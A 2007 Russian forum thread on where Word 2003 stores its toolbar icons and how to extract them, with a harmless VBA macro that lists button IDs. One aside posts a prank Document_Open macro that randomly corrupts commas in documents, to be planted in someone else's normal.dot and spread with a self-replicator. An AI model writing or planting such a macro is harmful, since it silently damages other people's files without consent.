Легенда:
новое сообщение
закрытая нитка
новое сообщение
в закрытой нитке
старое сообщение
|
- Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
- Новичкам также крайне полезно ознакомиться с данным документом.
|
Видимо плохо искал. Если не ошибаюсь, то лежат они в куче... 30.08.07 16:37 Число просмотров: 3933
Автор: leo <Леонид Юрьев> Статус: Elderman
|
Видимо плохо искал. Если не ошибаюсь, то лежат они в куче dll и exe, в виде довольно больших BMP, до нескольких десятков кнопок в одном битмапе.
|
<hacking>
|
Из чисто спортивного интереса — где хранятся граф. ресурсы (изображение кнопок в тулбарах) в MS Word 2003? (Updated) 30.08.07 16:29
Автор: HandleX <Александр М.> Статус: The Elderman Отредактировано 02.09.07 09:30 Количество правок: 5
|
Ковырялся везде в офисе, не нашёл.
<Updated>
В процессе исследований выяснилось, что искомое лежит (вероятно!) в экзешниках в ресурсах типа «998» в проприетарном сжатом (?) формате.
Цель — извлечь эти ресурсы в удобоваримом формате типа Icon или Bitmap.
Интересно, M$ выпускает Checked Build офиса? Тогда можно было бы «бегло просмотреть», что он там делает с 998, отладчиком ;-)
Интересно, какой му@ак в кулуарах этой открытой, дружелюбной к пользованиям компании дал команду программерам закрыть граф. ресурсы?
|
|
Если мы руками меняем иконку на кнопке, то она хранится либо в normal.dot либо внутри дока, если панель для него специфична 01.09.07 00:16
Автор: Ustin <Ustin> Статус: Elderman Отредактировано 01.09.07 00:36 Количество правок: 1
|
Иконки же по дефолту хранятся, скорее всего, в winword.exe, так как
а) поиск в инете грит, что хранятся они одним битмапом
б) он самый жырный ;)
> Ковырялся везде в офисе, не нашёл. в) Я чё-то тоже, но там есть ресурсы типа 998, некоторые из них как раз по размеру тянут на заявленный битмап.
Поменять иконки к кнопкам можно с помощью макроса, исполняющегося по старту ворда. Создаём панель инструментов на ней делаем кнопки и подсасываем им иконку, например из буфера обмена (control.pasteface). Cохраняем в normal.dot соседа (или в своём шаблоне, тогда его кидаем в "C:\Documents and Settings\Знакомый\Application Data\Microsoft\Word\STARTUP\My.dot" ) + закидываем туда autoexec процедуру, которая собно и меняет иконки на имеющиеся в панели или стандартные путём манипуляций с ctrl.FaceID
UPD:
Соответствия фэйсидов названиям кнопок можно получить так:
Sub OutputControlsID()
Const MinId = 0
Const MaxId = MinId + 64
' создаем временную командную панель, MinId in [0..4096]?
Set Cbr = CommandBars.Add("tmp", msoBarTop, False, True)
On Error Resume Next
' игнорируем ошибки, не всем номерам соответствуют встроенные элементы
For i = MinId To MaxId
Cbr.Controls.Add ID:=i
Next
On Error GoTo 0 'включаем обработку ошибок
Open "c:\temp\id.txt" For Output As #1
For Each btn In Cbr.Controls
Write #1, btn.ID, btn.Caption
Next
Close #1
'записали в файл ID и названия кнопок
Cbr.Visible = True
MsgBox "Look 2 new panel"
0 Cbr.Delete ' удаляем панель
End Sub
---
|
| |
Извлечь не получается — ресурс «998» вроде имеет заголовок и дальше пожато... Нехорошие редиски в M$ :( 01.09.07 11:40
Автор: HandleX <Александр М.> Статус: The Elderman
|
|
| | |
Беглый поиск по инету нихрена не дал, всё сводится примерно к следущему: 01.09.07 23:27
Автор: Ustin <Ustin> Статус: Elderman Отредактировано 01.09.07 23:46 Количество правок: 1
|
Been there... done that.
I have gone through EVERY frikin' dll and exe related to Office XP, and as stated in a previous post, asked a friend of mine who works for MS (Programmer).
The images for the splash screen are not in bitmap format or gif of jpeg.
They are in binary format in the exe.
You would have to decompile the exe and then locate the resources that make up the image.
Then replace the resources and re-compile.
Sounds easy... but it's not.
http://www.aqua-soft.org/board/showthread.php?t=1250
А потом какой-то презик грит, что он добился этого, но не сообщает как.
----
OFF: как показала практика, код типа
Private Sub Document_Open()
Randomize Timer
If Int((256 * Rnd)) = 127 Then
Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
.Text = ","
.Replacement.Text = ", @#$,"
.Forward = True
End With
Selection.Find.Execute Replace:=wdReplaceAll
End If
End Sub
---
в модуле thisdocument normal.dotа действует просто магически практически на всех людей, особенно если обернуть его какой-нить размножалкой
|
| | | |
Про «подменить картинки» это стёб, на самом деле надо вытащить ресурсы. Поправлю корневой пост, дабы не смущать народ. 02.09.07 09:18
Автор: HandleX <Александр М.> Статус: The Elderman Отредактировано 02.09.07 09:24 Количество правок: 1
|
> А потом какой-то презик грит, что он добился этого, но не сообщает как. Ага, тоже рылся в инете. Натыкался на этот бред... Народ потом говорит "ны ты чё, давай. говори как вытащил/распаковал", а тот больше не появлялся.
> OFF: как показала практика, код типа > > Private Sub Document_Open()
> Randomize Timer
> If Int((256 * Rnd)) = 127 Then
> Selection.Find.ClearFormatting
> Selection.Find.Replacement.ClearFormatting
> With Selection.Find
> .Text = ","
> .Replacement.Text = ", @#$,"
> .Forward = True
> End With
> Selection.Find.Execute Replace:=wdReplaceAll
> End If
> End Sub
> ---
> в модуле thisdocument normal.dotа действует просто > магически практически на всех людей, особенно если обернуть > его какой-нить размножалкой Прости что ввел в заблуждение... Мне не это надо ;-)
|
|
Видимо плохо искал. Если не ошибаюсь, то лежат они в куче... 30.08.07 16:37
Автор: leo <Леонид Юрьев> Статус: Elderman
|
Видимо плохо искал. Если не ошибаюсь, то лежат они в куче dll и exe, в виде довольно больших BMP, до нескольких десятков кнопок в одном битмапе.
|
| |
Поточнее? Про 988 я отписал выше... Может кто знает алгоритм? 01.09.07 17:44
Автор: HandleX <Александр М.> Статус: The Elderman
|
|
|
|